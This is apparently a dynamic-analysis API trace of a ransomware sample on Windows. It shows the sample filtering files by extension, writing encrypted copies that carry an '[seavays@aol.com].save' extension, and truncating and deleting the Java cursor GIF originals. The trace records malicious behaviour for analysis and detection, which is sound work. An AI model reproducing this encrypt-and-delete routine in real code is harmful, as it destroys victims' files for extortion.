lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0056.293] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0056.293] lstrlenW (lpString=".zip") returned 4 [0056.293] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0056.293] lstrlenW (lpString=".rar") returned 4 [0056.293] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0056.293] lstrlenW (lpString=".bz2") returned 4 [0056.293] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0056.293] lstrlenW (lpString=".7z") returned 3 [0056.293] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0056.293] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0056.293] lstrlenW (lpString=".dbf") returned 4 [0056.293] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0056.293] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0056.293] lstrlenW (lpString=".1cd") returned 4 [0056.293] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0056.293] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0056.293] lstrlenW (lpString=".jpg") returned 4 [0056.293] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0056.293] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0056.293] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0056.293] lstrlenW (lpString=".doc") returned 4 [0056.293] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0056.293] lstrlenW (lpString=".docx") returned 5 [0056.293] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0056.293] lstrlenW (lpString=".pdf") returned 4 [0056.293] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0056.293] lstrlenW (lpString=".xls") returned 4 [0056.293] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0056.293] lstrlenW (lpString=".xlsx") returned 5 [0056.293] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0056.293] lstrlenW (lpString=".ppt") returned 4 [0056.293] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0056.293] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0056.294] lstrlenW (lpString=".zip") returned 4 [0056.294] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0056.294] lstrlenW (lpString=".rar") returned 4 [0056.294] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0056.294] lstrlenW (lpString=".bz2") returned 4 [0056.294] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0056.294] lstrlenW (lpString=".7z") returned 3 [0056.294] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0056.294] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0056.294] lstrlenW (lpString=".dbf") returned 4 [0056.294] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0056.294] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0056.294] lstrlenW (lpString=".1cd") returned 4 [0056.294] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0056.294] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0056.294] lstrlenW (lpString=".jpg") returned 4 [0056.294] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0056.294] lstrcmpiW (lpString1=".gif", lpString2=".save") returned -1 [0056.294] lstrlenW (lpString="win32_LinkNoDrop32x32.gif") returned 25 [0056.294] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0056.294] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=153) returned 1 [0056.294] CloseHandle (hObject=0x314) returned 1 [0056.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 0x20 [0056.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.295] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0056.295] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.295] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.295] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0056.295] GetLastError () returned 0x0 [0056.295] ReadFile (in: hFile=0x314, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x99, lpOverlapped=0x0) returned 1 [0056.296] WriteFile (in: hFile=0x2f0, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xa0, lpOverlapped=0x0) returned 1 [0056.297] ReadFile (in: hFile=0x314, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0056.297] WriteFile (in: hFile=0x2f0, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x106, lpOverlapped=0x0) returned 1 [0056.297] SetEndOfFile (hFile=0x2f0) returned 1 [0056.297] CloseHandle (hObject=0x2f0) returned 1 [0056.298] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.298] SetEndOfFile (hFile=0x314) returned 1 [0056.299] CloseHandle (hObject=0x314) returned 1 [0056.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0056.299] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 1 [0056.299] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0056.299] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0056.299] lstrlenW (lpString=".doc") returned 4 [0056.299] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0056.299] lstrlenW (lpString=".docx") returned 5 [0056.299] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0056.299] lstrlenW (lpString=".pdf") returned 4 [0056.299] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0056.300] lstrlenW (lpString=".xls") returned 4 [0056.300] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0056.300] lstrlenW (lpString=".xlsx") returned 5 [0056.300] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0056.300] lstrlenW (lpString=".ppt") returned 4 [0056.300] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0056.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0056.300] lstrlenW (lpString=".zip") returned 4 [0056.300] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0056.300] lstrlenW (lpString=".rar") returned 4 [0056.300] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0056.300] lstrlenW (lpString=".bz2") returned 4 [0056.300] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0056.300] lstrlenW (lpString=".7z") returned 3 [0056.300] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0056.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0056.300] lstrlenW (lpString=".dbf") returned 4 [0056.300] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0056.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0056.300] lstrlenW (lpString=".1cd") returned 4 [0056.300] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0056.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0056.300] lstrlenW (lpString=".jpg") returned 4 [0056.300] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0056.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0056.300] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0056.300] lstrlenW (lpString=".doc") returned 4 [0056.300] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0056.300] lstrlenW (lpString=".docx") returned 5 [0056.300] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0056.300] lstrlenW (lpString=".pdf") returned 4 [0056.300] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0056.300] lstrlenW (lpString=".xls") returned 4 [0056.301] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0056.301] lstrlenW (lpString=".xlsx") returned 5 [0056.301] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0056.301] lstrlenW (lpString=".ppt") returned 4 [0056.301] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0056.301] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0056.301] lstrlenW (lpString=".zip") returned 4 [0056.301] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0056.301] lstrlenW (lpString=".rar") returned 4 [0056.301] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0056.301] lstrlenW (lpString=".bz2") returned 4 [0056.301] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0056.301] lstrlenW (lpString=".7z") returned 3 [0056.301] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0056.301] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0056.301] lstrlenW (lpString=".dbf") returned 4 [0056.301] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0056.301] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0056.301] lstrlenW (lpString=".1cd") returned 4 [0056.301] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0056.301] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0056.301] lstrlenW (lpString=".jpg") returned 4 [0056.301] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0056.301] lstrcmpiW (lpString1=".gif", lpString2=".save") returned -1 [0056.301] lstrlenW (lpString="win32_MoveDrop32x32.gif") returned 23 [0056.301] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0056.302] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=147) returned 1 [0056.302] CloseHandle (hObject=0x314) returned 1 [0056.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 0x20 [0056.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.302] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0056.302] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.303] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.303] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0056.303] GetLastError () returned 0x0 [0056.303] ReadFile (in: hFile=0x314, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x93, lpOverlapped=0x0) returned 1 [0056.304] WriteFile (in: hFile=0x2f0, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xa0, lpOverlapped=0x0) returned 1 [0056.305] ReadFile (in: hFile=0x314, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0056.305] WriteFile (in: hFile=0x2f0, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x102, lpOverlapped=0x0) returned 1 [0056.305] SetEndOfFile (hFile=0x2f0) returned 1 [0056.305] CloseHandle (hObject=0x2f0) returned 1 [0056.306] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.306] SetEndOfFile (hFile=0x314) returned 1 [0056.306] CloseHandle (hObject=0x314) returned 1 [0056.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0056.307] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 1 [0056.307] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0056.307] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0056.307] lstrlenW (lpString=".doc") returned 4 [0056.307] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0056.307] lstrlenW (lpString=".docx") returned 5 [0056.307] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0056.307] lstrlenW (lpString=".pdf") returned 4 [0056.307] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0056.307] lstrlenW (lpString=".xls") returned 4 [0056.307] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0056.307] lstrlenW (lpString=".xlsx") returned 5 [0056.307] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0056.307] lstrlenW (lpString=".ppt") returned 4 [0056.307] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0056.308] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0056.308] lstrlenW (lpString=".zip") returned 4 [0056.308] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0056.308] lstrlenW (lpString=".rar") returned 4 [0056.308] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0056.308] lstrlenW (lpString=".bz2") returned 4 [0056.308] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0056.308] lstrlenW (lpString=".7z") returned 3 [0056.308] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0056.308] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0056.308] lstrlenW (lpString=".dbf") returned 4 [0056.308] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0056.308] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0056.308] lstrlenW (lpString=".1cd") returned 4 [0056.308] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0056.308] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0056.308] lstrlenW (lpString=".jpg") returned 4 [0056.308] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0056.308] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0056.308] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0056.308] lstrlenW (lpString=".doc") returned 4 [0056.308] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0056.308] lstrlenW (lpString=".docx") returned 5 [0056.308] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0056.308] lstrlenW (lpString=".pdf") returned 4 [0056.308] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0056.308] lstrlenW (lpString=".xls") returned 4 [0056.308] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0056.308] lstrlenW (lpString=".xlsx") returned 5 [0056.308] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0056.308] lstrlenW (lpString=".ppt") returned 4 [0056.308] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0056.308] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0056.309] lstrlenW (lpString=".zip") returned 4 [0056.309] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0056.309] lstrlenW (lpString=".rar") returned 4 [0056.309] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0056.309] lstrlenW (lpString=".bz2") returned 4 [0056.309] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0056.309] lstrlenW (lpString=".7z") returned 3 [0056.309] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0056.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0056.309] lstrlenW (lpString=".dbf") returned 4 [0056.309] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0056.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0056.309] lstrlenW (lpString=".1cd") returned 4 [0056.309] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0056.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0056.309] lstrlenW (lpString=".jpg") returned 4 [0056.309] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0056.309] lstrcmpiW (lpString1=".gif", lpString2=".save") returned -1 [0056.309] lstrlenW (lpString="win32_MoveNoDrop32x32.gif") returned 25 [0056.309] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0056.309] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=153) returned 1 [0056.309] CloseHandle (hObject=0x314) returned 1 [0056.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 0x20 [0056.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.310] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0056.310] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.310] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.310] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0056.310] GetLastError () returned 0x0 [0056.310] ReadFile (in: hFile=0x314, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x99, lpOverlapped=0x0) returned 1 [0056.833] WriteFile (in: hFile=0x2f0, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xa0, lpOverlapped=0x0) returned 1 [0056.834] ReadFile (in: hFile=0x314, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0056.834] WriteFile (in: hFile=0x2f0, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x106, lpOverlapped=0x0) returned 1 [0056.835] SetEndOfFile (hFile=0x2f0) returned 1 [0056.835] CloseHandle (hObject=0x2f0) returned 1 [0056.836] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.836] SetEndOfFile (hFile=0x314) returned 1 [0056.837] CloseHandle (hObject=0x314) returned 1 [0056.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0056.838] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 1 [0056.838] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0056.838] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0056.838] lstrlenW (lpString=".doc") returned 4 [0056.838] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0056.838] lstrlenW (lpString=".docx") returned 5 [0056.838] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0056.838] lstrlenW (lpString=".pdf") returned 4 [0056.838] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 